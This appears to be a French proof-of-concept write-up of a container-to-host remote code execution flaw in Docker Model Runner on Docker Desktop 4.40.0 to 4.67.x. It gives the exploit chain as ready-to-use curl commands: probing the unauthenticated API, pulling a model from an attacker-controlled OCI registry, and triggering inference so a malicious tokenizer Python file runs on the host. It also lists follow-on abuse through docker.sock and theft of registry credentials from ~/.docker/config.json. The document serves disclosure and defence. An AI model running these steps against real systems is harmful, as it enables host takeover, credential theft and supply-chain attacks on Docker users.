
Docker Model Runner RCE / évasion conteneur-vers-hôte : Une vulnérabilité critique qui permet l'exécution de code du conteneur vers l'hôte dans le backend d'inférence MLX / SGLANG / VLLM de Docker Model Runner.
Tout conteneur sur un hôte Docker Desktop (4.40.0 à 4.67.x) peut exécuter du code sur l'hôte avec deux requêtes HTTP. Aucun montage du socket, aucun --privileged, aucune capacité.
Chaque conteneur peut joindre Model Runner sur model-runner.docker.internal sans authentification. Il récupère des modèles depuis n'importe quel registre OCI que vous lui indiquez et les stocke sans vérifier les digests. Les backends Python (vLLM, MLX, SGLang) chargent le modèle avec trust_remote_code=True (ou, dans le cas de MLX, ne reconnaît même pas trust_remote_code dans son entrée de configuration), ce qui importe tout fichier .py que le modèle référence dans tokenizer_config.json. Ce .py s'exécute en tant qu'utilisateur de Docker Desktop.
Position de départ : l'attaquant peut exécuter du code dans n'importe quel conteneur sur l'hôte. Image de base hostile, installation malveillante npm/pip dans un espace de travail de développement, un runner CI qui exécute du code contrôlé par l'attaquant, etc. Pas de montage du socket Docker, pas de --privileged, pas de capacités supplémentaires.
Sonder Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 signifie que Model Runner est actif et joignable depuis ce conteneur. Aucune authentification, aucun en-tête Origin requis.
Mettre en place un registre OCI malveillant. Tout serveur HTTP parlant la spécification de distribution OCI fonctionne. Le registre doit être joignable depuis l'hôte (Model Runner s'exécute sur l'hôte, pas dans le conteneur). Soit vous l'hébergez sur l'internet public, soit vous l'exécutez localement et publiez un port (c'est la deuxième option retenue par docker-compose.yml pour ce PoC). Il sert un modèle Llama valide minimal dont le tokenizer_config.json contient un auto_map pointant vers evil_tokenizer.py. evil_tokenizer.py est la charge utile qui s'exécutera sur l'hôte. Voir rce_registry.py.
Faire en sorte que Model Runner tire depuis votre registre.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner télécharge le manifeste, puis chaque blob, et les écrit dans son stockage sur disque. Aucun digest n'est recalculé ni comparé, aucune vérification de signature. Le modèle malveillant est maintenant installé.
remplacez les lignes rce_registry.py:45-105 par un payload arbitraire.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
La preuve est déposée dans /tmp/poc_rce_proof.
rce_registry.py - faux registre OCI, sert un modèle Llama minimal plus evil_tokenizer.pytest_claims.py - vérifie chaque affirmation par rapport au code source et au système en cours d'exécutionrun_poc.sh - wrapperdocker-compose.yml - registre + conteneur attaquant non privilégiéDockerfile.registry, Dockerfile.attacker - imagesDéclencher une inférence pour que le modèle se charge.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner choisit un backend Python (vLLM, MLX ou SGLang) et le lance avec --model <bundle_dir> pointant vers le modèle stocké. Le backend appelle AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers lit tokenizer_config.json, voit le auto_map, et importe evil_tokenizer.py depuis le répertoire du bundle. Le code au niveau du module s'exécute au moment de l'importation.
La charge utile s'exécute sur l'hôte. Elle s'exécute en tant qu'utilisateur de Docker Desktop, hors de tout conteneur, avec l'accès complet au système de fichiers et au réseau de l'utilisateur. L'inférence elle-même échoue généralement (le modèle est trop petit pour vraiment s'exécuter), mais cela n'a pas d'importance, l'importation a eu lieu avant.
Ce que cela apporte à l'attaquant.
/var/run/docker.sock est joignable. Contrôle du démon : créer des conteneurs privilégiés, monter le système de fichiers hôte dans l'un d'eux, exécuter des commandes dans d'autres conteneurs, etc.~/.docker/config.json contient les identifiants de chaque registre sur lequel l'utilisateur est connecté. Pivot de chaîne d'approvisionnement : pousser des images malveillantes en amont.